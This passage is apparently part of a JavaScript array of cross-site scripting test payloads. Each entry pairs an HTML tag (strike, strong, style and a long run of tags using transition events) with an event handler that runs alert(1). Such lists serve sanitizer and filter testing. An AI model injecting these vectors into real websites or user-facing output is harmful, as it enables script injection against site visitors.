  String.raw`<strike onmousemove="alert(1)">test</strike>`,
  String.raw`<strike onmouseout="alert(1)">test</strike>`,
  String.raw`<strike onmouseover="alert(1)">test</strike>`,
  String.raw`<strike onmouseup="alert(1)">test</strike>`,
  String.raw`<strike onpaste="alert(1)" contenteditable>test</strike>`,
  String.raw`<strong draggable="true" ondrag="alert(1)">test</strong>`,
  String.raw`<strong draggable="true" ondragend="alert(1)">test</strong>`,
  String.raw`<strong draggable="true" ondragenter="alert(1)">test</strong>`,
  String.raw`<strong draggable="true" ondragleave="alert(1)">test</strong>`,
  String.raw`<strong draggable="true" ondragstart="alert(1)">test</strong>`,
  String.raw`<strong id=x tabindex=1 onactivate=alert(1)></strong>`,
  String.raw`<strong id=x tabindex=1 onbeforeactivate=alert(1)></strong>`,
  String.raw`<strong id=x tabindex=1 onbeforedeactivate=alert(1)></strong><input autofocus>`,
  String.raw`<strong id=x tabindex=1 ondeactivate=alert(1)></strong><input id=y autofocus>`,
  String.raw`<strong id=x tabindex=1 onfocus=alert(1)></strong>`,
  String.raw`<strong id=x tabindex=1 onfocusin=alert(1)></strong>`,
  String.raw`<strong onbeforecopy="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onbeforecut="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onbeforepaste="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onblur=alert(1) tabindex=1 id=x></strong><input autofocus>`,
  String.raw`<strong onclick="alert(1)">test</strong>`,
  String.raw`<strong oncontextmenu="alert(1)">test</strong>`,
  String.raw`<strong oncopy="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong oncut="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong ondblclick="alert(1)">test</strong>`,
  String.raw`<strong onfocusout=alert(1) tabindex=1 id=x></strong><input autofocus>`,
  String.raw`<strong onkeydown="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onkeypress="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onkeyup="alert(1)" contenteditable>test</strong>`,
  String.raw`<strong onmousedown="alert(1)">test</strong>`,
  String.raw`<strong onmouseenter="alert(1)">test</strong>`,
  String.raw`<strong onmouseleave="alert(1)">test</strong>`,
  String.raw`<strong onmousemove="alert(1)">test</strong>`,
  String.raw`<strong onmouseout="alert(1)">test</strong>`,
  String.raw`<strong onmouseover="alert(1)">test</strong>`,
  String.raw`<strong onmouseup="alert(1)">test</strong>`,
  String.raw`<strong onpaste="alert(1)" contenteditable>test</strong>`,
  String.raw`<style draggable="true" ondrag="alert(1)">test</style>`,
  String.raw`<style draggable="true" ondragend="alert(1)">test</style>`,
  String.raw`<style draggable="true" ondragenter="alert(1)">test</style>`,
  String.raw`<style draggable="true" ondragleave="alert(1)">test</style>`,
  String.raw`<style draggable="true" ondragstart="alert(1)">test</style>`,
  String.raw`<style id=x tabindex=1 onactivate=alert(1)></style>`,
  String.raw`<style id=x tabindex=1 onbeforeactivate=alert(1)></style>`,
  String.raw`<style id=x tabindex=1 onbeforedeactivate=alert(1)></style><input autofocus>`,
  String.raw`<style id=x tabindex=1 ondeactivate=alert(1)></style><input id=y autofocus>`,
  String.raw`<style id=x tabindex=1 onfocus=alert(1)></style>`,
  String.raw`<style id=x tabindex=1 onfocusin=alert(1)></style>`,
  String.raw`<style onbeforecopy="alert(1)" contenteditable>test</style>`,
  String.raw`<style onbeforecut="alert(1)" contenteditable>test</style>`,
  String.raw`<style onbeforepaste="alert(1)" contenteditable>test</style>`,
  String.raw`<style onblur=alert(1) tabindex=1 id=x></style><input autofocus>`,
  String.raw`<style onclick="alert(1)">test</style>`,
  String.raw`<style oncontextmenu="alert(1)">test</style>`,
  String.raw`<style oncopy="alert(1)" contenteditable>test</style>`,
  String.raw`<style oncut="alert(1)" contenteditable>test</style>`,
  String.raw`<style ondblclick="alert(1)">test</style>`,
  String.raw`<style onfocusout=alert(1) tabindex=1 id=x></style><input autofocus>`,
  String.raw`<style onkeydown="alert(1)" contenteditable>test</style>`,
  String.raw`<style onkeypress="alert(1)" contenteditable>test</style>`,
  String.raw`<style onkeyup="alert(1)" contenteditable>test</style>`,
  String.raw`<style onload=alert(1)></style>`,
  String.raw`<style onmousedown="alert(1)">test</style>`,
  String.raw`<style onmouseenter="alert(1)">test</style>`,
  String.raw`<style onmouseleave="alert(1)">test</style>`,
  String.raw`<style onmousemove="alert(1)">test</style>`,
  String.raw`<style onmouseout="alert(1)">test</style>`,
  String.raw`<style onmouseover="alert(1)">test</style>`,
  String.raw`<style onmouseup="alert(1)">test</style>`,
  String.raw`<style onpaste="alert(1)" contenteditable>test</style>`,
  String.raw`<style onreadystatechange=alert(1)></style>`,
  String.raw`<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>`,
  String.raw`<style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></abbr>`,
  String.raw`<style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=alert(1)></acronym>`,
  String.raw`<style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=alert(1)></address>`,
  String.raw`<style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=alert(1)></applet>`,
  String.raw`<style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=alert(1)></area>`,
  String.raw`<style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=alert(1)></article>`,
  String.raw`<style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=alert(1)></aside>`,
  String.raw`<style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=alert(1)></audio>`,
  String.raw`<style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=alert(1)></b>`,
  String.raw`<style>:target {color: red;}</style><base id=x style="transition:color 10s" ontransitioncancel=alert(1)></base>`,
  String.raw`<style>:target {color: red;}</style><basefont id=x style="transition:color 10s" ontransitioncancel=alert(1)></basefont>`,
  String.raw`<style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdi>`,
  String.raw`<style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdo>`,
  String.raw`<style>:target {color: red;}</style><bgsound id=x style="transition:color 10s" ontransitioncancel=alert(1)></bgsound>`,
  String.raw`<style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=alert(1)></big>`,
  String.raw`<style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=alert(1)></blink>`,
  String.raw`<style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=alert(1)></blockquote>`,
  String.raw`<style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=alert(1)></body>`,
  String.raw`<style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=alert(1)></br>`,
  String.raw`<style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=alert(1)></button>`,
  String.raw`<style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=alert(1)></canvas>`,
  String.raw`<style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=alert(1)></caption>`,
  String.raw`<style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=alert(1)></center>`,
  String.raw`<style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=alert(1)></cite>`,
  String.raw`<style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=alert(1)></code>`,
  String.raw`<style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=alert(1)></col>`,
  String.raw`<style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></colgroup>`,
  String.raw`<style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=alert(1)></command>`,
  String.raw`<style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=alert(1)></content>`,
  String.raw`<style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=alert(1)></data>`,
  String.raw`<style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=alert(1)></datalist>`,
  String.raw`<style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=alert(1)></dd>`,
  String.raw`<style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=alert(1)></del>`,
  String.raw`<style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=alert(1)></details>`,
  String.raw`<style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=alert(1)></dfn>`,
  String.raw`<style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=alert(1)></dialog>`,
  String.raw`<style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=alert(1)></dir>`,
  String.raw`<style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=alert(1)></div>`,
  String.raw`<style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=alert(1)></dl>`,
  String.raw`<style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=alert(1)></dt>`,
  String.raw`<style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=alert(1)></element>`,
  String.raw`<style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=alert(1)></em>`,
  String.raw`<style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=alert(1)></embed>`,
  String.raw`<style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=alert(1)></fieldset>`,
  String.raw`<style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=alert(1)></figcaption>`,
  String.raw`<style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=alert(1)></figure>`,
  String.raw`<style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=alert(1)></font>`,
  String.raw`<style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=alert(1)></footer>`,
  String.raw`<style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=alert(1)></form>`,
  String.raw`<style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=alert(1)></frame>`,
  String.raw`<style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=alert(1)></frameset>`,
  String.raw`<style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=alert(1)></h1>`,
  String.raw`<style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=alert(1)></head>`,
  String.raw`<style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=alert(1)></header>`,
  String.raw`<style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></hgroup>`,
  String.raw`<style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=alert(1)></hr>`,
  String.raw`<style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=alert(1)></html>`,
  String.raw`<style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=alert(1)></i>`,
  String.raw`<style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=alert(1)></iframe>`,
  String.raw`<style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=alert(1)></image>`,
  String.raw`<style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=alert(1)></img>`,
  String.raw`<style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=alert(1)></input>`,
  String.raw`<style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=alert(1)></ins>`,
  String.raw`<style>:target {color: red;}</style><isindex id=x style="transition:color 10s" ontransitioncancel=alert(1)></isindex>`,
  String.raw`<style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=alert(1)></kbd>`,
  String.raw`<style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=alert(1)></keygen>`,
  String.raw`<style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=alert(1)></label>`,
  String.raw`<style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=alert(1)></legend>`,
  String.raw`<style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=alert(1)></li>`,
  String.raw`<style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=alert(1)></link>`,
  String.raw`<style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=alert(1)></listing>`,
  String.raw`<style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=alert(1)></main>`,
  String.raw`<style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=alert(1)></map>`,
  String.raw`<style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=alert(1)></mark>`,
  String.raw`<style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=alert(1)></marquee>`,
  String.raw`<style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=alert(1)></menu>`,
  String.raw`<style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=alert(1)></menuitem>`,
  String.raw`<style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=alert(1)></meta>`,
  String.raw`<style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=alert(1)></meter>`,
  String.raw`<style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=alert(1)></multicol>`,
  String.raw`<style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=alert(1)></nav>`,
  String.raw`<style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=alert(1)></nextid>`,
  String.raw`<style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=alert(1)></nobr>`,
  String.raw`<style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=alert(1)></noembed>`,
  String.raw`<style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=alert(1)></noframes>`,
  String.raw`<style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=alert(1)></noscript>`,
  String.raw`<style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=alert(1)></object>`,
  String.raw`<style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=alert(1)></ol>`,
  String.raw`<style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></optgroup>`,
  String.raw`<style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=alert(1)></option>`,
  String.raw`<style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=alert(1)></output>`,
  String.raw`<style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=alert(1)></p>`,
  String.raw`<style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=alert(1)></param>`,
  String.raw`<style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=alert(1)></picture>`,
  String.raw`<style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=alert(1)></plaintext>`,
  String.raw`<style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=alert(1)></pre>`,
  String.raw`<style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=alert(1)></progress>`,
  String.raw`<style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=alert(1)></q>`,
  String.raw`<style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=alert(1)></rb>`,
  String.raw`<style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=alert(1)></rp>`,
  String.raw`<style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=alert(1)></rt>`,
  String.raw`<style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=alert(1)></rtc>`,
  String.raw`<style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=alert(1)></ruby>`,
  String.raw`<style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=alert(1)></s>`,
  String.raw`<style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=alert(1)></samp>`,
  String.raw`<style>:target {color: red;}</style><script id=x style="transition:color 10s" ontransitioncancel=alert(1)></script>`,
  String.raw`<style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=alert(1)></section>`,
  String.raw`<style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=alert(1)></select>`,
  String.raw`<style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=alert(1)></shadow>`,
  String.raw`<style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=alert(1)></slot>`,
  String.raw`<style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=alert(1)></small>`,
  String.raw`<style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=alert(1)></source>`,
  String.raw`<style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=alert(1)></spacer>`,
  String.raw`<style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=alert(1)></span>`,
  String.raw`<style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=alert(1)></strike>`,
  String.raw`<style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=alert(1)></strong>`,
  String.raw`<style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=alert(1)></style>`,
  String.raw`<style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=alert(1)></sub>`,
  String.raw`<style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=alert(1)></summary>`,
  String.raw`<style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=alert(1)></sup>`,
  String.raw`<style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=alert(1)></svg>`,
  String.raw`<style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=alert(1)></table>`,
  String.raw`<style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=alert(1)></tbody>`,
  String.raw`<style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=alert(1)></td>`,
  String.raw`<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=alert(1)></template>`,
  String.raw`<style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=alert(1)></textarea>`,
  String.raw`<style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=alert(1)></tfoot>`,
  String.raw`<style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=alert(1)></th>`,
  String.raw`<style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=alert(1)></thead>`,
  String.raw`<style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=alert(1)></time>`,
  String.raw`<style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=alert(1)></title>`,
  String.raw`<style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=alert(1)></tr>`,
  String.raw`<style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=alert(1)></track>`,
  String.raw`<style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=alert(1)></tt>`,
  String.raw`<style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=alert(1)></u>`,
  String.raw`<style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=alert(1)></ul>`,
  String.raw`<style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=alert(1)></var>`,
  String.raw`<style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=alert(1)></video>`,
  String.raw`<style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></wbr>`,
  String.raw`<style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=alert(1)></xmp>`,
  String.raw`<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>`,
  String.raw`<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionend=alert(1)></abbr>`,
  String.raw`<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionend=alert(1)></acronym>`,
  String.raw`<style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionend=alert(1)></address>`,
  String.raw`<style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionend=alert(1)></applet>`,
  String.raw`<style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionend=alert(1)></area>`,
  String.raw`<style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionend=alert(1)></article>`,
  String.raw`<style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionend=alert(1)></aside>`,
  String.raw`<style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionend=alert(1)></audio>`,
  String.raw`<style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionend=alert(1)></b>`,
  String.raw`<style>:target {color:red;}</style><base id=x style="transition:color 1s" ontransitionend=alert(1)></base>`,
  String.raw`<style>:target {color:red;}</style><basefont id=x style="transition:color 1s" ontransitionend=alert(1)></basefont>`,
  String.raw`<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionend=alert(1)></bdi>`,
  String.raw`<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionend=alert(1)></bdo>`,
  String.raw`<style>:target {color:red;}</style><bgsound id=x style="transition:color 1s" ontransitionend=alert(1)></bgsound>`,
  String.raw`<style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionend=alert(1)></big>`,
  String.raw`<style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionend=alert(1)></blink>`,
  String.raw`<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionend=alert(1)></blockquote>`,
  String.raw`<style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionend=alert(1)></body>`,
  String.raw`<style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionend=alert(1)></br>`,
  String.raw`<style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionend=alert(1)></button>`,
  String.raw`<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionend=alert(1)></canvas>`,
  String.raw`<style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionend=alert(1)></caption>`,
  String.raw`<style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionend=alert(1)></center>`,
  String.raw`<style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionend=alert(1)></cite>`,
  String.raw`<style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionend=alert(1)></code>`,
  String.raw`<style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionend=alert(1)></col>`,
  String.raw`<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionend=alert(1)></colgroup>`,
  String.raw`<style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionend=alert(1)></command>`,
  String.raw`<style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionend=alert(1)></content>`,
  String.raw`<style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionend=alert(1)></data>`,
  String.raw`<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionend=alert(1)></datalist>`,
  String.raw`<style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionend=alert(1)></dd>`,
  String.raw`<style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionend=alert(1)></del>`,
  String.raw`<style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionend=alert(1)></details>`,
  String.raw`<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionend=alert(1)></dfn>`,
  String.raw`<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionend=alert(1)></dialog>`,
  String.raw`<style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionend=alert(1)></dir>`,
  String.raw`<style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionend=alert(1)></div>`,
  String.raw`<style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionend=alert(1)></dl>`,
  String.raw`<style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionend=alert(1)></dt>`,
  String.raw`<style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionend=alert(1)></element>`,
  String.raw`<style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionend=alert(1)></em>`,
  String.raw`<style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionend=alert(1)></embed>`,
  String.raw`<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionend=alert(1)></fieldset>`,
  String.raw`<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionend=alert(1)></figcaption>`,
  String.raw`<style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionend=alert(1)></figure>`,
  String.raw`<style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionend=alert(1)></font>`,
  String.raw`<style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionend=alert(1)></footer>`,
  String.raw`<style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionend=alert(1)></form>`,
  String.raw`<style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionend=alert(1)></frame>`,
  String.raw`<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionend=alert(1)></frameset>`,
  String.raw`<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionend=alert(1)></h1>`,
  String.raw`<style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionend=alert(1)></head>`,
  String.raw`<style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionend=alert(1)></header>`,
  String.raw`<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionend=alert(1)></hgroup>`,
  String.raw`<style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionend=alert(1)></hr>`,
  String.raw`<style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionend=alert(1)></html>`,
  String.raw`<style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionend=alert(1)></i>`,
  String.raw`<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionend=alert(1)></iframe>`,
  String.raw`<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionend=alert(1)></image>`,
  String.raw`<style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionend=alert(1)></img>`,
  String.raw`<style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionend=alert(1)></input>`,
  String.raw`<style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionend=alert(1)></ins>`,
  String.raw`<style>:target {color:red;}</style><isindex id=x style="transition:color 1s" ontransitionend=alert(1)></isindex>`,
  String.raw`<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionend=alert(1)></kbd>`,
  String.raw`<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionend=alert(1)></keygen>`,
  String.raw`<style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionend=alert(1)></label>`,
  String.raw`<style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionend=alert(1)></legend>`,
  String.raw`<style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionend=alert(1)></li>`,
  String.raw`<style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionend=alert(1)></link>`,
  String.raw`<style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionend=alert(1)></listing>`,
  String.raw`<style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionend=alert(1)></main>`,
  String.raw`<style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionend=alert(1)></map>`,
  String.raw`<style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionend=alert(1)></mark>`,
  String.raw`<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionend=alert(1)></marquee>`,
  String.raw`<style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionend=alert(1)></menu>`,
  String.raw`<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionend=alert(1)></menuitem>`,
  String.raw`<style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionend=alert(1)></meta>`,
  String.raw`<style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionend=alert(1)></meter>`,
  String.raw`<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionend=alert(1)></multicol>`,
  String.raw`<style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionend=alert(1)></nav>`,
  String.raw`<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionend=alert(1)></nextid>`,
  String.raw`<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionend=alert(1)></nobr>`,
  String.raw`<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionend=alert(1)></noembed>`,
  String.raw`<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionend=alert(1)></noframes>`,
  String.raw`<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionend=alert(1)></noscript>`,
  String.raw`<style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionend=alert(1)></object>`,
